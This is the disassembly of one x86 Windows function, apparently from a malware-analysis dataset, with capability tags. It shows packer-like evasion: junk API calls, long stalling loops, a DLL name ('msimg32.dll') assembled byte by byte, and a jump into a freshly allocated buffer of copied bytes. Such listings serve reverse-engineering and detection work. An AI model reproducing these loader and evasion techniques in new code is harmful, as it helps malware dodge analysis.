Function at 0x405020
Capabilities:
Get disk size
Get file attributes
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x44b948
push eax
mov dword fs:[0], esp
sub esp, 0x828
push ebx
push esi
push edi
xor edi, edi
cmp dword [0x45cafc], 0x400
jne 0x4050a7
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push edi
lea eax, [ebp - 0x434]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push edi
call fcn.0040656b
add esp, 4
push edi
push edi
call fcn.00406ae7
push edi
push edi
push edi
call fcn.00406d8c
add esp, 0xc
mov eax, esp
mov dword [eax], edi
mov dword [eax + 4], edi
sub esp, 8
mov eax, esp
mov dword [eax], edi
mov dword [eax + 4], edi
call fcn.00406260
fstp st(0)
add esp, 0x10
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
nop
cmp esi, 0xfa62c8f
jge 0x4050c4
call ebx
push edi
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp esi, 0x207142
jg 0x4050d5
inc esi
cmp esi, 0x67d12
jl 0x4050b0
cmp dword [0x45cafc], 0x93
jne 0x4051af
push edi
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_CreateDCA]
push edi
lea ecx, [ebp - 0x434]
push ecx
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
xor edx, edx
lock bts dword [edx], 0
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0x4047d8
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], edi
mov byte [ebp - 0x2c], 0
call fcn.00406600
add esp, 4
push eax
push 0x4047d8
lea ecx, [ebp - 0x30]
call fcn.00405b20
push edi
mov dword [ebp - 4], edi
call fcn.00406415
add esp, 4
push edi
push edi
call fcn.00406900
mov eax, esp
mov dword [eax], edi
mov dword [eax + 4], edi
call fcn.00406950
fstp st(0)
push edi
call fcn.004068c6
add esp, 0xc
push edi
push edi
call fcn.004068f5
push edi
push edi
call fcn.004063fe
call fcn.004060ec
push edi
call fcn.004068af
add esp, 0x14
call fcn.00405010
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x18], 0x10
jb 0x4051af
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00406945
add esp, 4
mov eax, dword [0x450e94]
mov dword [0x45d938], eax
mov eax, dword [0x45cafc]
add eax, 0x1134b
push eax
push edi
mov dword [0x45cafc], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x45c588], eax
call fcn.00404f50
mov esi, 0x1692e
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x4051e0
cmp dword [0x45cafc], edi
jbe 0x405258
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
nop
mov ecx, dword [0x45d938]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x45c588]
mov byte [eax + esi], dl
cmp dword [0x45cafc], 0x490
jne 0x40524d
push 0
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [ebp - 0x14]
push edx
push 0
lea eax, [ebp - 0x28]
push eax
push 0
call ebx
inc esi
cmp esi, dword [0x45cafc]
jb 0x405200
xor edi, edi
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
xor esi, esi
mov ecx, dword [0x45cafc]
add ecx, esi
cmp ecx, 0x8d
jne 0x40529d
push 0
lea edx, [ebp - 0x834]
push edx
push 0
push 0
push 0
push 0
call edi
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x405266
call fcn.00404e10
xor edi, edi
xor esi, esi
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x4052ce
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0x1124a
mov ecx, dword [ebp - 0x10]
add dword [0x45c588], ecx
inc esi
cmp esi, 0x674bd
jl 0x4052b0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x45cafc], 0x86
jne 0x40532a
push 0
call esi
push 0
lea edx, [ebp - 0x434]
push edx
push 0x4047f4
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
cmp dword [0x45cafc], 0xf
jne 0x40533f
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 0x10], 1
jne 0x4052f0
mov cl, 0x6c
mov al, 0x6d
push 0x453c18
mov byte [0x453c21], cl
mov byte [0x453c1b], al
mov byte [0x453c1c], 0x67
mov byte [0x453c20], 0x64
mov byte [0x453c23], 0
mov byte [0x453c22], cl
mov byte [0x453c1f], 0x2e
mov byte [0x453c1e], 0x32
mov byte [0x453c18], al
mov byte [0x453c1a], 0x69
mov byte [0x453c1d], 0x33
mov byte [0x453c19], 0x73
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x45c588]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret